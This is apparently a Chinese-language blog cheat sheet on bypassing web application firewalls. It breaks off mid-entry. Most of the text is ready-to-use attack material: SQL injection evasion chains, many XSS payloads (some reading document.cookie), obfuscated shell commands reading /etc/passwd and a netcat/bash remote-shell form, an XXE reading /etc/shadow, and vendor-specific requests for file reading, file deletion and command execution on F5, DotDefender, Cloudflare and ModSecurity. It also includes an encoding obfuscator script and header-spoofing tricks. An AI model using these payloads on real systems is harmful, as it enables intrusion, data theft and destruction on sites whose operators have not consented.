不乱于心,不困于情。
不畏将来,不念过往。如此,安好。

各种WAF绕过手法学习

0X00    Fuzz/爆破

fuzz字典

1.Seclists/Fuzzing

https://github.com/danielmiessler/SecLists/tree/master/Fuzzing

2.Fuzz-DB/Attack

https://github.com/fuzzdb-project/fuzzdb/tree/master/attack

3.Other Payloads 可能会被ban ip,小心为妙。

https://github.com/foospidy/payloads

0X01    正则绕过

多少waf 使用正则匹配。

黑名单检测/bypass

Case: SQL 注入

• Step 1:
过滤关键词: and, or, union
可能正则: preg_match('/(and|or|union)/i', $id)
被拦截的语句: union select user, password from users

bypass语句: 1 || (select user from users where user_id = 1) = 'admin'

• Step 2:

过滤关键词: and, or, union, where
被拦截的语句: 1 || (select user from users where user_id = 1) = 'admin'

bypass语句: 1 || (select user from users limit 1) = 'admin'

• Step 3:

过滤关键词: and, or, union, where, limit
被拦截的语句: 1 || (select user from users limit 1) = 'admin'

bypass语句: 1 || (select user from users group by user_id having user_id = 1) = 'admin'

• Step 4:

过滤关键词: and, or, union, where, limit, group by
被拦截的语句: 1 || (select user from users group by user_id having user_id = 1) = 'admin'

bypass语句: 1 || (select substr(group_concat(user_id),1,1) user from users ) = 1

• Step 5:

过滤关键词: and, or, union, where, limit, group by, select

被拦截的语句: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1

bypass语句: 1 || 1 = 1 into outfile 'result.txt'
bypass语句: 1 || substr(user,1,1) = 'a'

• Step 6:

过滤关键词: and, or, union, where, limit, group by, select, '

被拦截的语句: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1

bypass语句: 1 || user_id is not null
bypass语句: 1 || substr(user,1,1) = 0x61
bypass语句: 1 || substr(user,1,1) = unhex(61)

• Step 7:

过滤关键词: and, or, union, where, limit, group by, select, ', hex
被拦截的语句: 1 || substr(user,1,1) = unhex(61)

bypass语句: 1 || substr(user,1,1) = lower(conv(11,10,36))

• Step 8:

过滤关键词: and, or, union, where, limit, group by, select, ', hex, substr
被拦截的语句: 1 || substr(user,1,1) = lower(conv(11,10,36))

bypass语句: 1 || lpad(user,7,1)

• Step 9:

过滤关键词: and, or, union, where, limit, group by, select, ', hex, substr, white space
被拦截的语句: 1 || lpad(user,7,1)

bypass语句: 1%0b||%0blpad(user,7,1)

0X02        混淆/编码

1. 大小写

标准: <script>alert()</script>
Bypassed: <ScRipT>alert()</sCRipT>

标准: SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'
Bypassed: sELecT * FrOm all_tables whERe OWNER = 'DATABASE_NAME'

2. URL 编码

被阻断语句: <svG/x=">"/oNloaD=confirm()//
Bypassed: %3CsvG%2Fx%3D%22%3E%22%2FoNloaD%3Dconfirm%28%29%2F%2F

被阻断语句: uNIoN(sEleCT 1,2,3,4,5,6,7,8,9,10,11,12)
Bypassed: uNIoN%28sEleCT+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%29

3. Unicode 编码

标准: <marquee onstart=prompt()>
混淆: <marquee onstart=\u0070r\u06f\u006dpt()>

被阻断语句: /?redir=http://google.com
Bypassed: /?redir=http://google。com (Unicode 替代)

被阻断语句: <marquee loop=1 onfinish=alert()>x
Bypassed: <marquee loop=1 onfinish=alert︵1)>x (Unicode 替代)

TIP: 查看这些说明 this and this reports on HackerOne. :)

4. HTML 实体编码

标准: "><img src=x onerror=confirm()>
Encoded: &quot;&gt;&lt;img src=x onerror=confirm&lpar;&rpar;&gt; (General form)
Encoded: &#34;&#62;&#60;img src=x onerror=confirm&#40;&#41;&#62; (Numeric reference)

5. 混合编码

Sometimes, WAF rules often tend to filter out a specific type of encoding.

This type of filters can be bypassed by mixed encoding payloads.

Tabs and newlines further add to obfuscation.

混淆:

<A HREF="h
tt p://6 6.000146.0x7.147/">XSS</A>

7. 双重URL编码

这个需要服务端多次解析了url编码

标准: http://victim/cgi/../../winnt/system32/cmd.exe?/c+dir+c:\
混淆: http://victim/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\

标准: <script>alert()</script>
混淆: %253Cscript%253Ealert()%253C%252Fscript%253E

8. 通配符使用

用于linux命令语句注入,通过shell通配符绕过

标准: /bin/cat /etc/passwd
混淆: /???/??t /???/??ss??
Used chars: / ? t s

标准: /bin/nc 127.0.0.1 1337
混淆: /???/n? 2130706433 1337
Used chars: / ? n [0-9]

9. 动态payload 生成

标准: <script>alert()</script>
混淆: <script>eval('al'+'er'+'t()')</script>

标准: /bin/cat /etc/passwd
混淆: /bi'n'''/c''at' /e'tc'/pa''ss'wd

Bash allows path concatenation for execution.

标准: <iframe/onload='this["src"]="javascript:alert()"';>
混淆: <iframe/onload='this["src"]="jav"+"as&Tab;cr"+"ipt:al"+"er"+"t()"';>

9. 垃圾字符

Normal payloads get filtered out easily.
Adding some junk chars helps avoid detection (specific cases only).
They often help in confusing regex based firewalls.


标准: <script>alert()</script>
混淆: <script>+-+-1-+-+alert(1)</script>

标准: <BODY onload=alert()>
混淆: <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert()>

NOTE: 上述语句可能会破坏正则的匹配,达到绕过。

标准: <a href=javascript;alert()>ClickMe
Bypassed: <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=j&#97v&#97script&#x3A;&#97lert(1)>ClickMe

10. 插入换行符

部分waf可能会对换行符没有匹配

标准: <iframe src=javascript:confirm(0)">
混淆: <iframe src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(0)">

11. 未定义变量

bash 和 perl 执行脚本中加入未定义变量,干扰正则。

TIP: 随便写个不存在的变量就好。$aaaa,$sdayuhjbsad,$dad2ed都可以。

Level 1 Obfuscation: Normal
标准: /bin/cat /etc/passwd
混淆: /bin/cat$u /etc/passwd$u

Level 2 Obfuscation: Postion Based
标准: /bin/cat /etc/passwd
混淆: $u/bin$u/cat$u $u/etc$u/passwd$u

Level 3 Obfuscation: Random characters
标准: /bin/cat /etc/passwd
混淆: $aaaaaa/bin$bbbbbb/cat$ccccccc $dddddd/etc$eeeeeee/passwd$fffffff

一个精心制作的payload

$sdijchkd/???$sdjhskdjh/??t$skdjfnskdj $sdofhsdhjs/???$osdihdhsdj/??ss??$skdjhsiudf

12. Tab 键和换行符

大多数waf匹配的是空格不是Tab

标准: <IMG SRC="javascript:alert();">
Bypassed: <IMG SRC=" javascript:alert();">
变形: <IMG SRC=" jav ascri pt:alert ();">

标准: http://test.com/test?id=1 union select 1,2,3
标准: http://test.com/test?id=1%09union%23%0A%0Dselect%2D%2D%0A%0D1,2,3

标准: <iframe src=javascript:alert(1)></iframe>
混淆:

<iframe    src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;%28&Tab;1&Tab;%29></iframe>

13. Token Breakers(翻译不了 看起来说的就是sql注入闭合)

Attacks on tokenizers attempt to break the logic of splitting a request into tokens with the help of token breakers.
Token breakers are symbols that allow affecting the correspondence between an element of a string and a certain token, and thus bypass search by signature.
However, the request must still remain valid while using token-breakers.
Case: Unknown Token for the Tokenizer

Payload: ?id=‘-sqlite_version() UNION SELECT password FROM users --

Case: Unknown Context for the Parser (Notice the uncontexted bracket)

Payload 1: ?id=123);DROP TABLE users --

Payload 2: ?id=1337) INTO OUTFILE ‘xxx’ --

TIP: 更多payload可以看这里 cheat sheet.

14. 其他格式混淆

许多web应用程序支持不同的编码类型(如下表)

混淆成服务器可解析、waf不可解析的编码类型

Case: IIS

IIS6, 7.5, 8 and 10 (ASPX v4.x) 允许 IBM037 字符

可以发送编码后的参数名和值

原始请求:

POST /sample.aspx?id1=something HTTP/1.1
HOST: victim.com
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Content-Length: 41

id2='union all select * from users--

混淆请求 + URL Encoding:

POST /sample.aspx?%89%84%F1=%A2%96%94%85%A3%88%89%95%87 HTTP/1.1
HOST: victim.com
Content-Type: application/x-www-form-urlencoded; charset=ibm037
Content-Length: 115

%89%84%F2=%7D%A4%95%89%96%95%40%81%93%93%40%A2%85%93%85%83%A3%40%5C%40%86%99%96%94%40%A4%A2%85%99%A2%60%60

TIP: 可以使用 这个小脚本 来转化编码

import urllib.parse, sys
from argparse import ArgumentParser
lackofart = '''
        OBFUSCATOR
'''

def paramEncode(params="", charset="", encodeEqualSign=False, encodeAmpersand=False, urlDecodeInput=True, urlEncodeOutput=True):
    result = ""
    equalSign = "="
    ampersand = "&"
    if '=' and '&' in params:
        if encodeEqualSign:
            equalSign = equalSign.encode(charset)
        if encodeAmpersand:
            ampersand = ampersand.encode(charset)
        params_list = params.split("&")
        for param_pair in params_list:
            param, value = param_pair.split("=")
            if urlDecodeInput:
                param = urllib.parse.unquote(param)
                value = urllib.parse.unquote(value)
            param = param.encode(charset)
            value = value.encode(charset)
            if urlEncodeOutput:
                param = urllib.parse.quote_plus(param)
                value = urllib.parse.quote_plus(value)
            if result:
                result += ampersand
            result += param + equalSign + value
    else:
        if urlDecodeInput:
            params = urllib.parse.unquote(params)
        result = params.encode(charset)
        if urlEncodeOutput:
            result = urllib.parse.quote_plus(result)
    return result

def main():
    print(lackofart)
    parser = ArgumentParser('python3 obfu.py')
    parser._action_groups.pop()

    # A simple hack to have required arguments and optional arguments separately
    required = parser.add_argument_group('Required Arguments')
    optional = parser.add_argument_group('Optional Arguments')

    # Required Options
    required.add_argument('-s', '--str', help='String to obfuscate', dest='str')
    required.add_argument('-e', '--enc', help='Encoding type. eg: ibm037, utf16, etc', dest='enc')

    # Optional Arguments (main stuff and necessary)
    optional.add_argument('-ueo', help='URL Encode Output', dest='ueo', action='store_true')
    optional.add_argument('-udi', help='URL Decode Input', dest='udi', action='store_true')
    args = parser.parse_args()
    if not len(sys.argv) > 1:
        parser.print_help()
        quit()
    print('Input: %s' % (args.str))
    print('Output: %s' % (paramEncode(params=args.str, charset=args.enc, urlDecodeInput=args.udi, urlEncodeOutput=args.ueo)))

if __name__ == '__main__':
    main()
服务器信息 可用编码 说明
Nginx, uWSGI-Django-Python3 IBM037, IBM500, cp875, IBM1026, IBM273 对参数名和参数值进行编码
服务器会对参数名和参数值均进行url解码
需要对等号和& and进行编码(不进行url编码)
Nginx, uWSGI-Django-Python2 IBM037, IBM500, cp875, IBM1026, utf-16, utf-32, utf-32BE, IBM424 对参数名和参数值进行便慢慢
服务器会对参数名和参数值均进行url解码
等号和&符号不应该以任何方式编码。
Apache-TOMCAT8-JVM1.8-JSP IBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025 参数名按原始格式(可以像往常一样使用url编码)
Body 不论是否经过url编码均可
等号和&符号不应该以任何方式编码
Apache-TOMCAT7-JVM1.6-JSP IBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025 参数名按原始格式(可以像往常一样使用url编码)
Body 不论是否经过url编码均可
等号和&符号不应该以任何方式编码
IIS6, 7.5, 8, 10 -ASPX (v4.x) IBM037, IBM500, IBM870, cp875, IBM1026, IBM01047, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, unicodeFFFE, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420,IBM423, IBM424, x-EBCDIC-KoreanExtended, IBM-Thai, IBM871, IBM880, IBM905, IBM00924, cp1025 参数名按原始格式(可以像往常一样使用url编码)
Body 不论是否经过url编码均可
等号和&符号不应该以任何方式编码

0X04        HTTP 参数污染

手法

这种攻击方法基于服务器如何解释具有相同名称的参数
可能造成bypass的情况:
服务器使用最后接收到的参数,WAF只检查第一个参数
服务器将来自类似参数的值联合起来,WAF单独检查它们

下面是相关服务器对参数解释的比较

环境 参数解析 示例
ASP/IIS 用逗号连接 par1=val1,val2
JSP, Servlet/Apache Tomcat 第一个参数是结果 par1=val1
ASP.NET/IIS 用逗号连接 par1=val1,val2
PHP/Zeus 最后一个参数是结果 par1=val2
PHP/Apache 最后一个参数是结果 par1=val2
JSP, Servlet/Jetty 第一个参数是结果 par1=val1
IBM Lotus Domino 第一个参数是结果 par1=val1
IBM HTTP Server 最后一个参数是结果 par1=val2
mod_perl, libapeq2/Apache 第一个参数是结果 par1=val1
Oracle Application Server 10G 第一个参数是结果 par1=val1
Perl CGI/Apache 第一个参数是结果 par1=val1
Python/Zope 第一个参数是结果 par1=val1
IceWarp 返回一个列表 [‘val1’,’val2’]
AXIS 2400 最后一个参数是结果 par1=val2
DBMan 由两个波浪号连接起来 par1=val1~~val2
mod-wsgi (Python)/Apache 返回一个列表 ARRAY(0x8b9058c)

0X05        浏览器的缺陷

Charset Bugs:

可以尝试 修改 charset header to 更高的 Unicode (eg. UTF-32)

当网站解码的时候,触发payload

Example request:

GET /page.php?p=∀㸀㰀script㸀alert(1)㰀/script㸀 HTTP/1.1
Host: site.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0
Accept-Charset:utf-32; q=0.5<
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate

当站点加载时,将其编码为我们设置的UTF-32编码,然后由于页面的输出编码为UTF-8,将其呈现为:"<script>alert (1) </ script> 从而触发xss

完整url编码后的 payload:

%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80

Null 空字节

空字节通常用作字符串终止符

Payload 示例:

<scri%00pt>alert(1);</scri%00pt>
<scri\x00pt>alert(1);</scri%00pt>
<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>
标准: <a href="javascript:alert()">
混淆: <a href="ja0x09vas0x0A0x0Dcript:alert(1)">clickme</a>
变形: <a 0x00 href="javascript:alert(1)">clickme</a>

解析错误

RFC 声明节点名不可以由空白起始

但是我们可以使用特殊字符 ` %, //, !, ?`, etc.

例子:

<// style=x:expression\28write(1)\29> - Works upto IE7 (Source)

<!--[if]><script>alert(1)</script --> - Works upto IE9 (Reference)

<?xml-stylesheet type="text/css"?><root style="x:expression(write(1))"/> - Works in IE7 (Reference)

<%div%20style=xss:expression(prompt(1))> - Works Upto IE7

Unicode 分隔符

  • 每个浏览器有不同的分隔分隔符

@Masato Kinugawafuzz 后发现如下

IExplorer: 0x09, 0x0B, 0x0C, 0x20, 0x3B

Chrome: 0x09, 0x20, 0x28, 0x2C, 0x3B

Safari: 0x2C, 0x3B

FireFox: 0x09, 0x20, 0x28, 0x2C, 0x3B

Opera: 0x09, 0x20, 0x2C, 0x3B

Android: 0x09, 0x20, 0x28, 0x2C, 0x3B

示例

<a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>pwn3d

使用其他非典型等效语法结构替换

找的waf开发人员没有注意到的语句进行攻击

一些WAF开发人员忽略的常见关键字:

  • JavaScript functions:
    • window
    • parent
    • this
    • self
  • Tag attributes:
    • onwheel
    • ontoggle
    • onfilterchange
    • onbeforescriptexecute
    • ondragstart
    • onauxclick
    • onpointerover
    • srcdoc

SQL Operators

lpad

lpad( string, padded_length, [ pad_string ] ) lpad函数从左边对字符串使用指定的字符进行填充
  lpad('tech', 7); 将返回' tech'
  lpad('tech', 2); 将返回'te'
  lpad('tech', 8, '0'); 将返回'0000tech'
  lpad('tech on the net', 15, 'z'); 将返回'tech on the net'
  lpad('tech on the net', 16, 'z'); 将返回'ztech on the net

field

FIELD(str,str1,str2,str3,...)
返回的索引(从1开始的位置)的str在str1,str2,STR3,...列表中。如果str没有找到,则返回0。
+---------------------------------------------------------+
| FIELD('ej', 'Hej', 'ej', 'Heja', 'hej', 'foo') |
+---------------------------------------------------------+
| 2                                                       |
+---------------------------------------------------------+

bit_count 二进制数中包含1的个数。BIT_COUNT(10);因为10转成二进制是1010,所以该结果就是2

示例payloads:

Case: XSS
<script>window['alert'](0)</script>
<script>parent['alert'](1)</script>
<script>self['alert'](2)</script>
Case: SQLi
SELECT if(LPAD(' ',4,version())='5.7',sleep(5),null);
1%0b||%0bLPAD(USER,7,1)
可以使用许多替代原生JavaScript的方法:

JSFuck

JJEncode

XChars.JS

滥用SSL/TLS密码:

很多时候,服务器可以接收各种SSL/TLS密码和版本的连接。
初始化到waf不支持的版本
找出waf支持的密码(通常WAF供应商文档对此进行了讨论)。
找出服务器支持的密码(SSLScan这种工具可以帮助到你)。
找出服务器支持但waf不支持的

Tool: abuse-ssl-bypass-waf

滥用 DNS 记录:

  • 找到云waf后的源站

TIP: 一些在线资源 IP History 和 DNS Trails

Tool: bypass-firewalls-by-DNS-history

bash bypass-firewalls-by-DNS-history.sh -d <target> --checkall

请求头欺骗

让waf以为请求来自于内部网络,进而不对其进行过滤。

添加如下请求头

X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Client-IP: 127.0.0.1

Google Dorks Approach:

应对已知WAF的绕过

搜索语法:

Normal search:

+<wafname> waf bypass

Searching for specific version exploits:
"<wafname> <version>" (bypass|exploit)

For specific type bypass exploits:
"<wafname>" +<bypass type> (bypass|exploit)

On Exploit DB:
site:exploit-db.com +<wafname> bypass

On 0Day Inject0r DB:
site:0day.today +<wafname> <type> (bypass|exploit)

On Twitter:
site:twitter.com +<wafname> bypass

On Pastebin
site:pastebin.com +<wafname> bypass

0X06    拓展Bypass姿势

Airlock Ergon

SQLi Overlong UTF-8 Sequence Bypass (>= v4.2.4) by @Sec Consult

%C0%80'+union+select+col1,col2,col3+from+table+--+

AWS

SQLi Bypass by @enkaskal

"; select * from TARGET_TABLE --
XSS Bypass by @kmkz
<script>eval(atob(decodeURIComponent("payload")))//

Barracuda

Cross Site Scripting by @WAFNinja

<body style="height:1000px" onwheel="alert(1)">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">
<b/%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35mouseover=alert(1)>

HTML Injection by @Global-Evolution

GET /cgi-mod/index.cgi?&primary_tab=ADVANCED&secondary_tab=test_backup_server&content_only=1&&&backup_port=21&&backup_username=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net/etc/bad-example.exe%3E&&backup_type=ftp&&backup_life=5&&backup_server=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net/etc/bad-example.exe%3E&&backup_path=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net/etc/bad-example.exe%3E&&backup_password=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net%20width%3D800%20height%3D800%3E&&user=guest&&password=121c34d4e85dfe6758f31ce2d7b763e7&&et=1261217792&&locale=en_US
Host: favoritewaf.com
User-Agent: Mozilla/5.0 (compatible; MSIE5.01; Windows NT)

XSS Bypass by @0xInfection

<a href=j%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At:open()>clickhere
Barracuda WAF 8.0.1 - Remote Command Execution (Metasploit) by @xort

Barracuda Spam & Virus Firewall 5.1.3 – Remote Command Execution (Metasploit) by @xort

Cerber (WordPress)

Username Enumeration Protection Bypass by HTTP Verb Tampering by @ed0x21son

POST host.com HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/5.0 (compatible; MSIE5.01; Windows NT)

author=1

Protected Admin Scripts Bypass by @ed0x21son

http://host/wp-admin///load-scripts.php?load%5B%5D=jquery-core,jquery-migrate,utils
http://host/wp-admin///load-styles.php?load%5B%5D=dashicons,admin-bar

REST API Disable Bypass by @ed0x21son

http://host/index.php/wp-json/wp/v2/users/

Citrix NetScaler

SQLi via HTTP Parameter Pollution (NS10.5) by @BGA Security

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/">
   <soapenv:Header/>
   <soapenv:Body>
        <string>’ union select current_user, 2#</string>
    </soapenv:Body>
</soapenv:Envelope>
generic_api_call.pl XSS by @NNPoster
http://host/ws/generic_api_call.pl?function=statns&standalone=%3c/script%3e%3cscript%3ealert(document.cookie)%3c/script%3e%3cscript%3e

Cloudflare

HTML Injection by @spyerror

<div style="background:url(/f#&#127;oo/;color:red/*/foo.jpg);">X

XSS Bypass by @c0d3g33k

<a+HREF='javascrip%26%239t:alert%26lpar;document.domain)'>test</a>

XSS Bypasses by @Bohdan Korzhynskyi

<svg onload=prompt%26%230000000040document.domain)>
<svg onload=prompt%26%23x000000028;document.domain)>
xss'"><iframe srcdoc='%26lt;script>;prompt`${document.domain}`%26lt;/script>'>
1'"><img/src/onerror=.1|alert``>

XSS Bypass by @RakeshMane10

<svg/onload=&#97&#108&#101&#114&#00116&#40&#41&#x2f&#x2f

XSS Bypass by @ArbazKiraak

<a href="j&Tab;a&Tab;v&Tab;asc&NewLine;ri&Tab;pt&colon;\u0061\u006C\u0065\u0072\u0074&lpar;this['document']['cookie']&rpar;">X</a>`

XSS Bypass by @Ahmet Ümit

<--`<img/src=` onerror=confirm``> --!>

XSS Bypass by @Shiva Krishna

javascript:{alert`0`}

XSS Bypass by @Brute Logic

<base href=//knoxss.me?

XSS Bypass by @RenwaX23 (Chrome only)

<j id=x style="-webkit-user-modify:read-write" onfocus={window.onerror=eval}throw/0/+name>H</j>#x

RCE Payload Detection Bypass by @theMiddle

cat$u+/etc$u/passwd$u
/bin$u/bash$u <ip> <port>
";cat+/etc/passwd+#

Comodo

XSS Bypass by @0xInfection

<input/oninput='new Function`confir\u006d\`0\``'>
<p/ondragstart=%27confirm(0)%27.replace(/.+/,eval)%20draggable=True>dragme

SQLi by @WAFNinja

0 union/**/select 1,version(),@@datadir

DotDefender

Firewall disable by (v5.0) by @hyp3rlinx

PGVuYWJsZWQ+ZmFsc2U8L2VuYWJsZWQ+
<enabled>false</enabled>

Remote Command Execution (v3.8-5) by @John Dos

POST /dotDefender/index.cgi HTTP/1.1
Host: 172.16.159.132
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Authorization: Basic YWRtaW46
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 95

sitename=dotdefeater&deletesitename=dotdefeater;id;ls -al ../;pwd;&action=deletesite&linenum=15

Persistent XSS (v4.0) by @EnableSecurity

GET /c?a=<script> HTTP/1.1
Host: 172.16.159.132
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US;
rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
<script>alert(1)</script>: aa
Keep-Alive: 300

R-XSS Bypass by @WAFNinja

<svg/onload=prompt(1);>
<isindex action="javas&tab;cript:alert(1)" type=image>
<marquee/onstart=confirm(2)>

XSS Bypass by @0xInfection

<p draggable=True ondragstart=prompt()>alert
<bleh/ondragstart=&Tab;parent&Tab;['open']&Tab;&lpar;&rpar;%20draggable=True>dragme
GET - XSS Bypass (v4.02) by @DavidK

/search?q=%3Cimg%20src=%22WTF%22%20onError=alert(/0wn3d/.source)%20/%3E

<img src="WTF" onError="{var
{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v%2Ba%2Be%2Bs](e%2Bs%2Bv%2B
h%2Bn)(/0wn3d/.source)" />

POST – XSS Bypass (v4.02) by @DavidK

<img src="WTF" onError="{var
{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v+a+e+s](e+s+v+h+n)(/0wn3d/
.source)" />
clave XSS (v4.02) by @DavidK
/?&idPais=3&clave=%3Cimg%20src=%22WTF%22%20onError=%22{

Fortinet Fortiweb

pcre_expression unvaidated XSS by @Benjamin Mejri

/waf/pcre_expression/validate?redir=/success&mkey=0%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C
/waf/pcre_expression/validate?redir=/success%20%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C&mkey=0

CSP Bypass by @Binar10

POST Type Query

POST /<path>/login-app.aspx HTTP/1.1
Host: <host>
User-Agent: <any valid user agent string>
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: <the content length must be at least 2399 bytes>

var1=datavar1&var2=datavar12&pad=<random data to complete at least 2399 bytes>

GET Type Query

http://<domain>/path?var1=vardata1&var2=vardata2&pad=<large arbitrary data>

F5 ASM

XSS Bypass by @WAFNinja

<table background="javascript:alert(1)"></table>
"/><marquee onfinish=confirm(123)>a</marquee>

F5 BIG-IP

XSS Bypass by @WAFNinja

<body style="height:1000px" onwheel="[DATA]">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="[DATA]">
<body style="height:1000px" onwheel="prom%25%32%33%25%32%36x70;t(1)">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="prom%25%32%33%25%32%36x70;t(1)">

XSS Bypass by @Aatif Khan

<body style="height:1000px" onwheel="prom%25%32%33%25%32%36x70;t(1)">
<div contextmenu="xss">Right-Click Here<menu id="xss"onshow="prom%25%32%33%25%32%36x70;t(1)“>

report_type XSS by @NNPoster

https://host/dms/policy/rep_request.php?report_type=%22%3E%3Cbody+onload=alert(%26quot%3BXSS%26quot%3B)%3E%3Cfoo+

POST Based XXE by @Anonymous

POST /sam/admin/vpe2/public/php/server.php HTTP/1.1
Host: bigip
Cookie: BIGIPAuthCookie=*VALID_COOKIE*
Content-Length: 143

<?xml version="1.0" encoding='utf-8' ?>
<!DOCTYPE a [<!ENTITY e SYSTEM '/etc/shadow'> ]>
<message><dialogueType>&e;</dialogueType></message>

Directory Traversal by @Anastasios Monachos

Read Arbitrary File

/tmui/Control/jspmap/tmui/system/archive/properties.jsp?&name=../../../../../etc/passwd

Delete Arbitrary File

POST /tmui/Control/form HTTP/1.1
Host: site.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=6C6BADBEFB32C36CDE7A59C416659494; f5advanceddisplay=""; BIGIPAuthCookie=89C1E3BDA86BDF9E0D64AB60417979CA1D9BE1D4; BIGIPAuthUsernameCookie=admin; F5_CURRENT_PARTITION=Common; f5formpage="/tmui/system/archive/properties.jsp?&name=../../../../../etc/passwd"; f5currenttab="main"; f5mainmenuopenlist=""; f5_refreshpage=/tmui/Control/jspmap/tmui/system/archive/properties.jsp%3Fname%3D../../../../../etc/passwd
Content-Type: application/x-www-form-urlencoded

_form_holder_opener_=&handler=%2Ftmui%2Fsystem%2Farchive%2Fproperties&handler_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties&showObjList=&showObjList_before=&hideObjList=&hideObjList_before=&enableObjList=&enableObjList_before=&disableObjList=&disableObjList_before=&_bufvalue=icHjvahr354NZKtgQXl5yh2b&_bufvalue_before=icHjvahr354NZKtgQXl5yh2b&_bufvalue_validation=NO_VALIDATION&com.f5.util.LinkedAdd.action_override=%2Ftmui%2Fsystem%2Farchive%2Fproperties&com.f5.util.LinkedAdd.action_override_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties&linked_add_id=&linked_add_id_before=&name=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&name_before=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&form_page=%2Ftmui%2Fsystem%2Farchive%2Fproperties.jsp%3F&form_page_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties.jsp%3F&download_before=Download%3A+..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&restore_before=Restore&delete=Delete&delete_before=Delete

F5 FirePass

SQLi Bypass from @Anonymous

state=%2527+and+
(case+when+SUBSTRING(LOAD_FILE(%2527/etc/passwd%2527),1,1)=char(114)+then+
BENCHMARK(40000000,ENCODE(%2527hello%2527,%2527batman%2527))+else+0+end)=0+--+

ModSecurity

RCE Payloads Detection Bypass for PL3 by @theMiddle (v3.1)

;+$u+cat+/etc$u/passwd$u

RCE Payloads Detection Bypass for PL2 by @theMiddle (v3.1)

;+$u+cat+/etc$u/passwd+\#

RCE Payloads for PL1 and PL2 by @theMiddle (v3.0)

/???/??t+/???/??ss??

RCE Payloads for PL3 by @theMiddle (v3.0)

/?in/cat+/et?/passw?

SQLi Bypass by @Johannes Dahse (v2.2)

0+div+1+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1%2C2%2Ccurrent_user

SQLi Bypass by @Yuri Goltsev (v2.2)

